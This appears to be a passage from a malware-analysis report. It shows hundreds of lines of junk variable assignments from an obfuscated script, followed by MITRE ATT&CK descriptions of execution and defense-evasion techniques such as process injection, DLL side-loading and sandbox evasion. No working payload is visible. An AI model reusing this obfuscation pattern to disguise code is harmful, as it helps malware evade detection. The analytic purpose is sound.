509	ykmlxqg = "H";
510	ykmlxqg = "N";
511	ykmlxqg = "b";
512	ykmlxqg = "J";
513	ykmlxqg = "Z";
514	ykmlxqg = "W";
515	ykmlxqg = "G";
516	ykmlxqg = "X";
517	ykmlxqg = "D";
518	ykmlxqg = "m";
519	ykmlxqg = "W";
520	ykmlxqg = "i";
521	ktarkzip = "j";
522	ktarkzip = "d";
523	ktarkzip = "s";
524	ktarkzip = "D";
525	ktarkzip = "j";
526	ktarkzip = "D";
527	ktarkzip = "U";
528	ktarkzip = "X";
529	ktarkzip = "T";
530	ktarkzip = "Q";
531	ktarkzip = "g";
532	ktarkzip = "N";
533	ktarkzip = "N";
534	ktarkzip = "g";
535	ktarkzip = "x";
536	ktarkzip = "B";
537	ktarkzip = "t";
538	ktarkzip = "p";
539	ktarkzip = "p";
540	ktarkzip = "E";
541	ktarkzip = "y";
542	ktarkzip = "H";
543	ktarkzip = "C";
544	ktarkzip = "V";
545	ktarkzip = "o";
546	ahydqg = "M";
547	ahydqg = "j";
548	ahydqg = "b";
549	ahydqg = "H";
550	ahydqg = "N";
551	ahydqg = "M";
552	ahydqg = "q";
553	ahydqg = "t";
554	ahydqg = "z";
555	ahydqg = "C";
556	ahydqg = "1";
557	nosfwhk = "b";
558	nosfwhk = "S";
559	nosfwhk = "B";
560	nosfwhk = "w";
561	nosfwhk = "V";
562	nosfwhk = "T";
563	nosfwhk = "h";
564	nosfwhk = "b";
565	nosfwhk = "L";
566	nosfwhk = "N";
567	nosfwhk = "m";
568	nosfwhk = "P";
569	nosfwhk = "A";
570	nosfwhk = "J";
571	nosfwhk = "G";
572	nosfwhk = "z";
573	nosfwhk = "n";
574	nosfwhk = "L";
575	nosfwhk = "i";
576	nosfwhk = "A";
577	nosfwhk = "O";
578	nosfwhk = "q";
579	nosfwhk = "o";
580	nosfwhk = "J";
581	nosfwhk = "Q";
582	nosfwhk = "X";
583	nosfwhk = "H";
584	nosfwhk = "X";
585	nosfwhk = "Z";
586	nosfwhk = "B";
587	nosfwhk = "A";
588	nosfwhk = "a";
589	nosfwhk = "s";
590	denrk = "n";
591	denrk = "z";
592	denrk = "Q";
593	denrk = "s";
594	denrk = "y";
595	denrk = "b";
596	denrk = "S";
597	denrk = "w";
598	denrk = "w";
599	denrk = "u";
600	denrk = "l";
601	denrk = "J";
602	denrk = "E";
603	denrk = "Q";
604	denrk = "R";
605	denrk = "d";
606	denrk = "U";
607	denrk = "g";
608	denrk = "I";
609	denrk = "o";
610	denrk = "i";
611	denrk = "i";
612	denrk = ":";
613	uemjodjx = "M";
614	uemjodjx = "w";
615	uemjodjx = "D";
616	uemjodjx = "f";
617	uemjodjx = "Y";
618	uemjodjx = "l";
619	uemjodjx = "R";
620	uemjodjx = "x";
621	uemjodjx = "K";
622	uemjodjx = "u";
623	uemjodjx = "z";
624	uemjodjx = "Q";
625	uemjodjx = "q";
626	uemjodjx = "J";
627	uemjodjx = "U";
628	uemjodjx = "q";
629	uemjodjx = "G";
630	uemjodjx = "Y";
631	uemjodjx = "h";
632	uemjodjx = "M";
633	uemjodjx = "A";
634	uemjodjx = "k";
635	uemjodjx = "T";
636	synkddrt = "p";
637	synkddrt = "U";
638	synkddrt = "F";
639	synkddrt = "v";
640	synkddrt = "D";
641	synkddrt = "O";
642	synkddrt = "P";
643	synkddrt = "n";
644	synkddrt = "n";
645	synkddrt = "l";
646	synkddrt = "q";
647	synkddrt = "n";
648	synkddrt = "p";
649	synkddrt = "s";
650	synkddrt = "a";
651	synkddrt = "D";
652	synkddrt = "t";
653	synkddrt = "Z";
654	synkddrt = "K";
655	synkddrt = "O";
656	smsoguxak = "O";
657	smsoguxak = "x";
658	smsoguxak = "q";
659	smsoguxak = "z";
660	smsoguxak = "s";
661	smsoguxak = "t";
662	smsoguxak = "n";
663	smsoguxak = "M";
664	smsoguxak = "F";
665	smsoguxak = "h";
666	smsoguxak = "h";
667	smsoguxak = "V";
668	smsoguxak = "e";
669	smsoguxak = "Z";
670	smsoguxak = "P";
671	smsoguxak = "Y";
672	smsoguxak = "y";
673	smsoguxak = "J";
674	smsoguxak = "c";
675	smsoguxak = "U";
676	smsoguxak = "I";
677	smsoguxak = "b";
678	smsoguxak = "c";
679	grqujjrw = "K";
680	grqujjrw = "b";
681	grqujjrw = "D";
682	grqujjrw = "M";
683	grqujjrw = "N";
684	grqujjrw = "w";
685	grqujjrw = "T";
686	grqujjrw = "Y";
687	grqujjrw = "t";
688	grqujjrw = "d";
689	grqujjrw = "u";
690	grqujjrw = "a";
691	grqujjrw = "k";
692	grqujjrw = "p";
693	grqujjrw = "k";
694	grqujjrw = "S";
695	grqujjrw = "n";
696	grqujjrw = "G";
697	grqujjrw = "J";
698	grqujjrw = "v";
699	grqujjrw = "r";
700	grqujjrw = "q";
701	grqujjrw = "6";
702	obtulgl = "a";
703	obtulgl = "H";
704	obtulgl = "j";
705	obtulgl = "K";
706	obtulgl = "B";
707	obtulgl = "d";
708	obtulgl = "Z";
709	obtulgl = "l";
710	obtulgl = "f";
711	obtulgl = "B";
712	obtulgl = "z";
713	obtulgl = "Y";
714	rkczp = "h";
715	rkczp = "A";
716	rkczp = "A";
717	rkczp = "f";
718	rkczp = "U";
719	rkczp = "j";
720	rkczp = "k";
721	rkczp = "L";
722	rkczp = "B";
723	rkczp = "k";
724	rkczp = "R";
725	rkczp = "R";
726	rkczp = "s";
727	rkczp = "S";
728	rkczp = "z";
729	rkczp = "S";
730	rkczp = "t";
731	rkczp = "B";
732	rkczp = "P";
733	rkczp = "K";
734	rkczp = "I";
735	rkczp = "b";
736	rkczp = "u";
737	rkczp = "F";
738	rkczp = "X";
739	rkczp = "R";
740	rkczp = "N";
741	rkczp = "b";
742	rkczp = "h";
743	rkczp = "b";
744	rkczp = "F";
745	rkczp = "S";
746	eecuwwif = "H";
747	eecuwwif = "O";
748	eecuwwif = "Q";
749	eecuwwif = "f";
750	eecuwwif = "Q";
751	eecuwwif = "p";
752	eecuwwif = "m";
753	eecuwwif = "L";
754	eecuwwif = "Q";
755	eecuwwif = "R";
756	eecuwwif = "T";
757	eecuwwif = "u";
758	eecuwwif = "p";
759	eecuwwif = "f";
760	eecuwwif = "O";
761	eecuwwif = "c";
762	eecuwwif = "M";
763	eecuwwif = "p";
764	eecuwwif = "A";
765	eecuwwif = "f";
766	eecuwwif = "Y";
767	eecuwwif = "L";
768	eecuwwif = "l";
769	eecuwwif = "F";
770	eecuwwif = "h";
771	eecuwwif = "u";
772	eecuwwif = "G";
773	eecuwwif = "Y";
774	eecuwwif = "T";
775	eecuwwif = "y";
776	eecuwwif = "Z";
777	eecuwwif = "H";
778	eecuwwif = "f";
779	eecuwwif = "i";
780	eecuwwif = "u";
781	eecuwwif = "h";
782	eecuwwif = "I";
783	eecuwwif = "e";
784	eecuwwif = "x";
785	eecuwwif = "Y";
786	eecuwwif = "m";
787	eecuwwif = "f";
788	eecuwwif = "Y";
789	eecuwwif = "y";
790	eecuwwif = "8";
791	kxaxpf = "E";
792	kxaxpf = "O";
793	kxaxpf = "A";
794	kxaxpf = "Y";
795	kxaxpf = "P";
796	kxaxpf = "t";
797	kxaxpf = "D";
798	kxaxpf = "F";
799	kxaxpf = "q";
800	kxaxpf = "B";
801	kxaxpf = "c";
802	kxaxpf = "D";
803	kxaxpf = "V";
804	kxaxpf = "n";
805	kxaxpf = "Z";
806	kxaxpf = "x";
807	kxaxpf = "N";
808	kxaxpf = "s";
809	kxaxpf = "C";
810	kxaxpf = "Z";
811	kxaxpf = "e";
812	kxaxpf = "B";
813	kxaxpf = "h";
814	kxaxpf = "p";
815	kxaxpf = "e";
816	kxaxpf = "V";
817	kxaxpf = "J";
818	kxaxpf = "J";
819	kxaxpf = "w";
820	kxaxpf = "y";
821	kxaxpf = "l";
822	kxaxpf = "r";
823	kxaxpf = "R";
824	kxaxpf = "O";
825	kxaxpf = "U";
826	kxaxpf = "n";
827	kxaxpf = "I";
828	kxaxpf = "W";
829	kxaxpf = "7";
830	rcaew = "l";
831	rcaew = "r";
832	rcaew = "V";
833	rcaew = "U";
834	rcaew = "T";
835	rcaew = "B";
836	rcaew = "H";
837	rcaew = "z";
838	rcaew = "F";
839	rcaew = "P";
840	rcaew = "r";
841	rcaew = "D";
842	rcaew = "n";
843	rcaew = "G";
844	rcaew = "K";
845	rcaew = "h";
846	rcaew = "I";
847	rcaew = "j";
848	rcaew = "h";
849	rcaew = "M";
850	rcaew = "Q";
851	rcaew = "z";
852	rcaew = "M";
853	rcaew = "I";
854	rcaew = "k";
855	rcaew = "v";
856	rcaew = "b";
857	rcaew = "L";
858	rcaew = "y";
859	rcaew = "L";
860	rcaew = "s";
861	rcaew = "g";
862	rcaew = "\\";
863	mvxgh = "t";
864	mvxgh = "w";
865	mvxgh = "P";
866	mvxgh = "d";
867	mvxgh = "i";
868	mvxgh = "V";
869	mvxgh = "S";
870	mvxgh = "w";
871	mvxgh = "h";
872	mvxgh = "R";
873	mvxgh = "e";
874	mvxgh = "Q";
875	mvxgh = "h";
876	mvxgh = "V";
877	mvxgh = "q";
878	mvxgh = "z";
879	mvxgh = "Y";
880	mvxgh = "A";
881	mvxgh = "V";
882	mvxgh = "u";
883	mvxgh = "H";
884	mvxgh = "g";
885	mvxgh = "y";
886	mvxgh = "O";
887	mvxgh = "g";
888	mvxgh = "D";
889	mvxgh = "f";
890	mvxgh = "U";
891	mvxgh = "q";
892	mvxgh = "9";
893	kdgvkvyol = "v";
894	kdgvkvyol = "d";
895	kdgvkvyol = "x";
896	kdgvkvyol = "S";
897	kdgvkvyol = "z";
898	kdgvkvyol = "J";
899	kdgvkvyol = "j";
900	kdgvkvyol = "m";
901	kdgvkvyol = "o";
902	kdgvkvyol = "O";
903	kdgvkvyol = "D";
904	kdgvkvyol = "t";
905	kdgvkvyol = "g";
906	kdgvkvyol = "P";
907	kdgvkvyol = "z";
908	kdgvkvyol = "i";
909	kdgvkvyol = "F";
910	chrxl = "b";
911	chrxl = "z";
912	chrxl = "p";
913	chrxl = "C";
914	chrxl = "J";
915	chrxl = "L";
916	chrxl = "E";
917	chrxl = "N";
918	chrxl = "i";
919	chrxl = "D";
920	chrxl = "X";
921	chrxl = "b";
922	bvsoq = "U";
923	bvsoq = "J";
924	bvsoq = "f";
925	bvsoq = "z";
926	bvsoq = "W";
927	bvsoq = "Z";
928	bvsoq = "n";
929	bvsoq = "Q";
930	bvsoq = "o";
931	bvsoq = "w";
932	bvsoq = "X";
933	bvsoq = "I";
934	bvsoq = "V";
935	bvsoq = "b";
936	bvsoq = "S";
937	bvsoq = "s";
938	bvsoq = "C";
939	bvsoq = "a";
940	bvsoq = "l";
941	bvsoq = "C";
942	bvsoq = "s";
943	bvsoq = "o";
944	bvsoq = "U";
945	bvsoq = "i";
946	bvsoq = "P";
947	bvsoq = "s";
948	bvsoq = "x";
949	bvsoq = "d";
950	bvsoq = "C";
951	bvsoq = "U";
952	ehwksc = "r";
953	ehwksc = "M";
954	ehwksc = "k";
955	ehwksc = "w";
956	ehwksc = "U";
957	ehwksc = "o";
958	ehwksc = "A";
959	ehwksc = "W";
960	ehwksc = "A";
961	ehwksc = "K";
962	ehwksc = "F";
963	ehwksc = "L";
964	ehwksc = "h";
965	ehwksc = "K";
966	ehwksc = "v";
967	ehwksc = "H";
968	ehwksc = "U";
969	ehwksc = "G";
970	ehwksc = "p";
971	ehwksc = "g";
972	ehwksc = "S";
973	ehwksc = "K";
974	ehwksc = "z";
975	ehwksc = "Y";
976	ehwksc = "v";
977	ehwksc = "k";
978	ehwksc = "n";
979	ehwksc = "x";
980	ehwksc = "2";
981	opcvxyapz = "l";
982	opcvxyapz = "J";
983	opcvxyapz = "Y";
984	opcvxyapz = "z";
985	opcvxyapz = "F";
986	opcvxyapz = "v";
987	opcvxyapz = "H";
988	opcvxyapz = "A";
989	opcvxyapz = "s";
990	opcvxyapz = "k";
991	opcvxyapz = "d";
992	opcvxyapz = "l";
993	opcvxyapz = "T";
994	opcvxyapz = "v";
995	opcvxyapz = "h";
996	opcvxyapz = "X";
997	opcvxyapz = "Y";
998	opcvxyapz = "C";
999	opcvxyapz = "W";
1000	opcvxyapz = "o";
1001	opcvxyapz = "h";
1002	opcvxyapz = "_";
1003	ljtqyp = "n";
1004	ljtqyp = "L";
1005	ljtqyp = "R";
1006	ljtqyp = "a";
1007	ljtqyp = "V";
1008	ljtqyp = "D";
1009	ljtqyp = "W";
1010	ljtqyp = "n";
1011	ljtqyp = "s";
1012	ljtqyp = "R";
1013	ljtqyp = "N";
1014	ljtqyp = "r";
1015	ljtqyp = "U";
1016	ljtqyp = "F";
1017	ljtqyp = "n";
1018	ljtqyp = "p";
1019	ljtqyp = "h";
1020	ljtqyp = "H";
1021	ljtqyp = "y";
1022	ljtqyp = "t";
1023	ljtqyp = "H";
1024	ljtqyp = "L";
1025	ljtqyp = "c";
1026	ljtqyp = "k";
1027	ljtqyp = "b";
1028	ljtqyp = "H";
1029	ljtqyp = "d";
1030	ljtqyp = "N";
1031	ljtqyp = "p";
1032	ljtqyp = "t";
1033	ljtqyp = "g";
1034	ljtqyp = "R";
1035	ljtqyp = "M";
1036	ljtqyp = "S";
1037	ljtqyp = "c";
1038	ljtqyp = "v";
1039	ljtqyp = "e";
1040	ljtqyp = "E";
1041	ljtqyp = "L";
1042	txicjwr = "j";
1043	txicjwr = "&";
1044	rnfks = "e";
1045	rnfks = "s";
1046	rnfks = "H";
1047	rnfks = "w";
1048	rnfks = "Q";
1049	rnfks = "b";
1050	rnfks = "C";
1051	rnfks = "C";
1052	rnfks = "U";
1053	rnfks = "t";
1054	rnfks = "o";
1055	rnfks = "z";
1056	rnfks = "A";
1057	rnfks = "H";
1058	rnfks = "T";
1059	rnfks = "m";
1060	rnfks = "H";
1061	rnfks = "F";
1062	rnfks = "y";
1063	rnfks = "p";
1064	rnfks = "Y";
1065	rnfks = "i";
1066	rnfks = "T";
1067	rnfks = "g";
1068	rnfks = "w";
1069	rnfks = "T";
1070	rnfks = "V";
1071	rnfks = "K";
1072	rnfks = "z";
1073	rnfks = "f";
1074	rnfks = "S";
1075	rnfks = "u";
1076	ntzusk = "g";
1077	ntzusk = "V";
1078	ntzusk = "N";
1079	ntzusk = "B";
1080	ntzusk = "O";
1081	ntzusk = "C";
1082	ntzusk = "J";
1083	ntzusk = "F";
1084	ntzusk = "z";
1085	ntzusk = "O";
1086	ntzusk = "G";
1087	ntzusk = "L";
1088	ntzusk = "B";
1089	ntzusk = "i";
1090	ntzusk = "e";
1091	ntzusk = "u";
1092	ntzusk = "Y";
1093	ntzusk = "g";
1094	ntzusk = "Y";
1095	ntzusk = "P";
1096	ntzusk = "a";
1097	ntzusk = "k";
1098	ntzusk = "Y";
1099	ntzusk = "G";
1100	ntzusk = "Y";
1101	ntzusk = "T";
1102	ntzusk = "s";
1103	ntzusk = "b";
1104	ntzusk = "c";
1105	ntzusk = "h";
1106	ntzusk = "a";
1107	ntzusk = "v";
1108	ntzusk = "x";
1109	ntzusk = "P";
1110	ntzusk = "s";
1111	ntzusk = "C";
1112	ntzusk = "f";
1113	ntzusk = "C";
1114	ntzusk = "3";
1115	dobkpks = "x";
1116	dobkpks = "C";
1117	dobkpks = "l";
1118	dobkpks = "k";
1119	dobkpks = "L";
1120	dobkpks = "X";
1121	dobkpks = "O";
1122	dobkpks = "A";
1123	dobkpks = "d";
1124	dobkpks = "f";
1125	dobkpks = "f";
1126	dobkpks = "b";
1127	dobkpks = "y";
1128	dobkpks = "k";
1129	dobkpks = "n";
1130	dobkpks = "N";
1131	dobkpks = "U";
1132	dobkpks = "r";
1133	dobkpks = "T";
1134	dobkpks = "C";
1135	dobkpks = "n";
1136	dobkpks = "w";
1137	dobkpks = "x";
1138	dobkpks = "R";
1139	dobkpks = "Z";
1140	dobkpks = "W";
1141	dobkpks = "q";
1142	ebxhxe = "Y";
1143	ebxhxe = "O";
1144	ebxhxe = "q";
1145	ebxhxe = "t";
1146	lyyandoyd = "C";
1147	lyyandoyd = "n";
1148	lyyandoyd = "O";
1149	lyyandoyd = "X";
1150	lyyandoyd = "d";
1151	lyyandoyd = "d";
1152	lyyandoyd = "j";
1153	lyyandoyd = "u";
1154	lyyandoyd = "l";
1155	lyyandoyd = "B";
1156	lyyandoyd = "j";
1157	lyyandoyd = "g";
1158	lyyandoyd = "C";
1159	lyyandoyd = "g";
1160	lyyandoyd = "n";
1161	lyyandoyd = "U";
1162	lyyandoyd = "V";
1163	lyyandoyd = "a";
1164	lyyandoyd = "m";
1165	lyyandoyd = "H";
1166	lyyandoyd = "C";
1167	lyyandoyd = "i";
1168	lyyandoyd = "n";
1169	lyyandoyd = "R";
1170	lyyandoyd = "l";
1171	lyyandoyd = "K";
1172	lyyandoyd = "c";
1173	lyyandoyd = "v";
1174	lyyandoyd = "M";
1175	lyyandoyd = "Q";
1176	lyyandoyd = "Z";
1177	lyyandoyd = "A";
1178	lyyandoyd = "i";
1179	lyyandoyd = "L";
1180	lyyandoyd = "l";
1181	lyyandoyd = "D";
1182	lyyandoyd = "s";
1183	lyyandoyd = "A";
1184	lyyandoyd = "P";
1185	lyyandoyd = "u";
1186	lyyandoyd = "G";
1187	lyyandoyd = "k";
1188	lyyandoyd = "g";
1189	bueyh = "z";
1190	bueyh = "j";
1191	bueyh = "H";
1192	bueyh = "l";
1193	bueyh = "j";
1194	bueyh = "g";
1195	bueyh = "g";
1196	bueyh = "v";
1197	bueyh = "v";
1198	bueyh = "L";
1199	bueyh = "F";
1200	bueyh = "A";
1201	bueyh = "k";
1202	bueyh = "T";
1203	bueyh = "C";
1204	bueyh = "v";
1205	bueyh = "C";
1206	bueyh = "Q";
1207	bueyh = "r";
1208	bueyh = "X";
1209	bueyh = "e";
1210	cucaqthel = "0";
1211	dkqks = "h";
1212	dkqks = "L";
1213	dkqks = "U";
1214	dkqks = "B";
1215	dkqks = "Q";
1216	dkqks = "c";
1217	dkqks = "j";
1218	dkqks = "S";
1219	dkqks = "J";
1220	dkqks = "R";
1221	dkqks = "u";
1222	dkqks = "v";
1223	dkqks = "t";
1224	dkqks = "g";
1225	dkqks = "x";
1226	dkqks = "b";
1227	dkqks = "d";
1228	dkqks = "W";
1229	dkqks = "M";
1230	dkqks = "M";
1231	dkqks = "n";
1232	dkqks = "G";
1233	dkqks = "t";
1234	dkqks = "m";
1235	dkqks = "j";
1236	dkqks = "w";
1237	dkqks = "o";
1238	dkqks = "t";
1239	dkqks = "W";
1240	dkqks = "H";
1241	dkqks = "R";
1242	dkqks = "C";
1243	dkqks = "a";
1244	dkqks = "N";
1245	dkqks = "S";
1246	dkqks = "F";
1247	dkqks = "J";
1248	dkqks = "m";
1249	dkqks = "O";
1250	dkqks = "u";
1251	dkqks = "g";
1252	dkqks = "R";
1253	ezdgv = "K";
1254	ezdgv = "j";
1255	ezdgv = "U";
1256	ezdgv = "R";
1257	ezdgv = "P";
1258	kgerzl = "N";
1259	kgerzl = "n";
1260	kgerzl = "G";
1261	kgerzl = "P";
1262	kgerzl = "B";
1263	kgerzl = "A";
1264	kgerzl = "C";
1265	kgerzl = "z";
1266	kgerzl = "N";
1267	kgerzl = "j";
1268	kgerzl = "a";
1269	kgerzl = "l";
1270	kgerzl = "c";
1271	kgerzl = "n";
1272	kgerzl = "D";
1273	kgerzl = "Y";
1274	kgerzl = "c";
1275	kgerzl = "F";
1276	kgerzl = "Y";
1277	kgerzl = "t";
1278	kgerzl = "a";
1279	kgerzl = "P";
1280	kgerzl = "y";
1281	kgerzl = "M";
1282	kgerzl = "Q";
1283	kgerzl = "x";
1284	kgerzl = "Z";
1285	kgerzl = "s";
1286	kgerzl = "E";
1287	kgerzl = "q";
1288	kgerzl = "v";
1289	kgerzl = "M";
1290	kgerzl = "K";
1291	kgerzl = "m";
1292	kgerzl = "f";
1293	kgerzl = "k";
1294	kgerzl = "r";
1295	mgveqie = "B";
1296	mgveqie = "S";
1297	mgveqie = "S";
1298	mgveqie = "a";
1299	mgveqie = "N";
1300	mgveqie = "Y";
1301	mgveqie = "g";
1302	mgveqie = "c";
1303	mgveqie = "w";
1304	mgveqie = "j";
1305	mgveqie = "U";
1306	mgveqie = "a";
1307	mgveqie = "f";
1308	mgveqie = "E";
1309	mhucm = "C";
1310	mhucm = "g";
1311	mhucm = "k";
1312	mhucm = "I";
1313	mhucm = "v";
1314	mhucm = "h";
1315	mhucm = "H";
1316	mhucm = "s";
1317	mhucm = "A";
1318	mhucm = "f";
1319	mhucm = "N";
1320	mhucm = "y";
1321	mhucm = "m";
1322	mhucm = "z";
1323	mhucm = "Z";
1324	mhucm = "O";
1325	mhucm = "Z";
1326	mhucm = "U";
1327	mhucm = "E";
1328	mhucm = "t";
1329	mhucm = "H";
1330	mhucm = "S";
1331	mhucm = "s";
1332	mhucm = "U";
1333	mhucm = "v";
1334	mhucm = "X";
1335	mhucm = "K";
1336	mhucm = "T";
1337	mhucm = "f";
1338	mhucm = "/";
1339	xeyfhd = "A";
1340	xeyfhd = "o";
1341	xeyfhd = "J";
1342	xeyfhd = "G";
1343	xeyfhd = "c";
1344	xeyfhd = "G";
1345	xeyfhd = "V";
1346	xeyfhd = "I";
1347	xeyfhd = "y";
1348	xeyfhd = "t";
1349	xeyfhd = "g";
1350	xeyfhd = "p";
1351	xeyfhd = "X";
1352	xeyfhd = "x";
1353	xeyfhd = "d";
1354	xeyfhd = "y";
1355	xeyfhd = "K";
1356	xeyfhd = "o";
1357	xeyfhd = "E";
1358	xeyfhd = "B";
1359	xeyfhd = "y";
1360	xeyfhd = "y";
1361	xeyfhd = "N";
1362	xeyfhd = "r";
1363	xeyfhd = "a";
1364	xeyfhd = "T";
1365	xeyfhd = "d";
1366	xeyfhd = "l";
1367	xeyfhd = "q";
1368	xeyfhd = "t";
1369	xeyfhd = "%";
1370	rndnur = "q";
1371	rndnur = "n";
1372	rndnur = "V";
1373	rndnur = "u";
1374	rndnur = "r";
1375	rndnur = "r";
1376	rndnur = "n";
1377	rndnur = "t";
1378	rndnur = "L";
1379	rndnur = "x";
1380	rndnur = "N";
1381	rndnur = "x";
1382	rndnur = "H";
1383	awlkueqor = "f";
1384	awlkueqor = "F";
1385	awlkueqor = "l";
1386	awlkueqor = "k";
1387	awlkueqor = "P";
1388	awlkueqor = "v";
1389	awlkueqor = "H";
1390	awlkueqor = "h";
1391	awlkueqor = "M";
1392	awlkueqor = "n";
1393	awlkueqor = "a";
1394	awlkueqor = "g";
1395	awlkueqor = "Y";
1396	awlkueqor = "R";
1397	awlkueqor = "z";
1398	awlkueqor = "J";
1399	awlkueqor = "c";
1400	awlkueqor = "M";
1401	awlkueqor = "w";
1402	awlkueqor = "A";
1403	awlkueqor = "u";
1404	awlkueqor = "d";
1405	awlkueqor = "l";
1406	awlkueqor = "h";
1407	awlkueqor = "z";
1408	awlkueqor = "Z";
1409	awlkueqor = "a";
1410	awlkueqor = "g";
1411	awlkueqor = "e";
1412	awlkueqor = "y";
1413	awlkueqor = "e";
1414	awlkueqor = "W";
1415	awlkueqor = "n";
1416	awlkueqor = "v";
1417	awlkueqor = "W";
1418	awlkueqor = "F";
1419	awlkueqor = "h";
1420	awlkueqor = "E";
1421	awlkueqor = "Y";
1422	awlkueqor = "g";
1423	awlkueqor = "x";
1424	awlkueqor = "V";
1425	awlkueqor = "Q";
1426	uenold = "e";
1427	uenold = "z";
1428	uenold = "m";
1429	uenold = "D";
1430	uenold = "w";
1431	uenold = "o";
1432	uenold = "j";
1433	uenold = "l";
1434	uenold = "X";
1435	uenold = "H";
1436	uenold = "u";
1437	uenold = "L";
1438	uenold = "y";
1439	uenold = "u";
1440	uenold = "p";
1441	uenold = "n";
1442	uenold = "A";
1443	uenold = "X";
1444	uenold = "M";
1445	uenold = "s";
1446	uenold = "s";
1447	uenold = "F";
1448	uenold = "j";
1449	uenold = "m";
1450	uenold = "f";
1451	uenold = "\"";
1452	yxclt = "K";
1453	yxclt = "i";
1454	yxclt = "Z";
1455	yxclt = "I";
1456	yxclt = "M";
1457	yxclt = "z";
1458	yxclt = "z";
1459	yxclt = "X";
1460	yxclt = "i";
1461	yxclt = "N";
1462	yxclt = "g";
1463	yxclt = "J";
1464	yxclt = "N";
1465	yxclt = "X";
1466	yxclt = "T";
1467	yxclt = "U";
1468	yxclt = "T";
1469	yxclt = "y";
1470	yxclt = "o";
1471	yxclt = "e";
1472	yxclt = "t";
1473	yxclt = "B";
1474	yxclt = "P";
1475	yxclt = "U";
1476	yxclt = "I";
1477	yxclt = "V";
1478	yxclt = "P";
1479	yxclt = "G";
1480	yxclt = "S";
1481	yxclt = "b";
1482	yxclt = "A";
1483	yxclt = "C";
1484	yxclt = "a";
1485	iriyel ( );	iriyel() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

